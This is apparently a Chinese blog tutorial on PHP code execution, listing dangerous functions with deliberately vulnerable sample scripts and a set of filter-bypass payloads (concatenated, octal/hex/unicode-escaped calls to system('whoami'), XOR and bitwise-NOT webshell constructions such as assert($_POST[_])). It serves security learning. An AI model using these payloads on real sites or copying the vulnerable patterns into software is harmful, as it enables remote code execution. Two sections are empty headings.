浅谈代码执行
一、可用代码执行函数
1.eval()
最常见的代码执行函数,把字符串 code 作为PHP代码执行。

2.assert()
检查一个断言是否为false

或者(php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。)

3.preg_replace()+/e
执行一个正则表达式的搜索和替换
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
搜索subject中匹配pattern的部分,以replacement进行替换。如果pattern的模式修饰符使用/e,那么当subject被匹配成功时,replacement会被当做PHP代码执行

该模式在php7.1已被移除
3.creat_function()
create_function ( string $args , string $code ) : string
create_function('$faker','echo $cmd."faker"')
举例:
<?php
show_source(__FILE__);
error_reporting(0);
$id=$_GET['id'];
$str2='echo '.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
$f1 = create_function('$a',$str2);
?>

这是预期 当我们传入?id=2;}phpinfo();//
就相当于变成
function fT($a) {
echo "test";}
phpinfo();//;
}
为数组的每个元素应用回调函数
array_map ( callable $callback , array $array , array ...$arrays ) : array
这边尝试调用eval没有成功,应该是不能调用,不过我们可以调用assert函数
<?php
show_source(__FILE__);
$cmd = $_GET['cmd'];
$str = $_GET['str'];
array_map($cmd,$str);
?>

5.call_user_func
把第一个参数作为回调函数调用
call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed
第一个要回调的参数 后面的都是参数

5.array_filter()
用回调函数过滤数组中的单元
array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array
依次将array数组中的每个值传递到callback函数。如果callback函数返回true,则array数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

6、usort() (php<5.6)
使用用户自定义的比较函数对数组中的值进行排序
usort ( array &$array , callable $value_compare_func ) : bool
本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。

5.6<phpversion<7时,有参数变长特性

二、字符串拼接绕过(php>=7)

(p.h.p.i.n.f.o)(); (sy.(st).em)(whoami); (sy.(st).em)(who.ami); (s.y.s.t.e.m)("whoami"); .......
//在PHP中不一定需要引号(单引号/双引号)来表示字符串。PHP支持我们声明元素的类型,比如$name = (string)mochu7;,在这种情况下,$name就包含字符串"mochu7",此外,如果不显示声明类型,那么PHP会将圆括号内的数据当成字符串来处理
三、字符串转义绕过
以八进制表示的\[0–7]{1,3}转义字符会自动适配byte(如"\400" == “\000”)
以十六进制的\x[0–9A-Fa-f]{1,2}转义字符表示法(如“\x41")
以Unicode表示的\u{[0–9A-Fa-f]+}字符,会输出为UTF-8字符串
"\x70\x68\x70\x69\x6e\x66\x6f"();#phpinfo();
"\163\171\163\164\145\155"('whoami');#system('whoami');
"\u{73}\u{79}\u{73}\u{74}\u{65}\u{6d}"('id');#system('whoami');
"\163\171\163\164\145\155"("\167\150\157\141\155\151");#system('whoami');
.......

然后八进制可以无字母传参

四、多次传参绕过

五、内置函数绕过
利用这种方法首先还需要知道PHP的具体版本,因为每个版本的get_defined_functions()返回的值都是不一样的,这里以php7.2.10为准

六、异或绕过


${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
//${_GET}{%ff}();&%ff=phpinfo
七、url取反绕过

当5<=PHP<=7.0.9时,需要再执行一次构造出来的字符,所以参考上面那种异或拼接的方法
$_=(~'%9E%8C%8C%9A%8D%8B');$__='_'.(~'%AF%B0%AC%AB');$___=$$__;$_($___[_]);
#assert($_POST[_]);
参考:
https://blog.csdn.net/mochu7777777/article/details/104631142
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://blog.csdn.net/weixin_39804523/article/details/112127923

浙公网安备 33010602011771号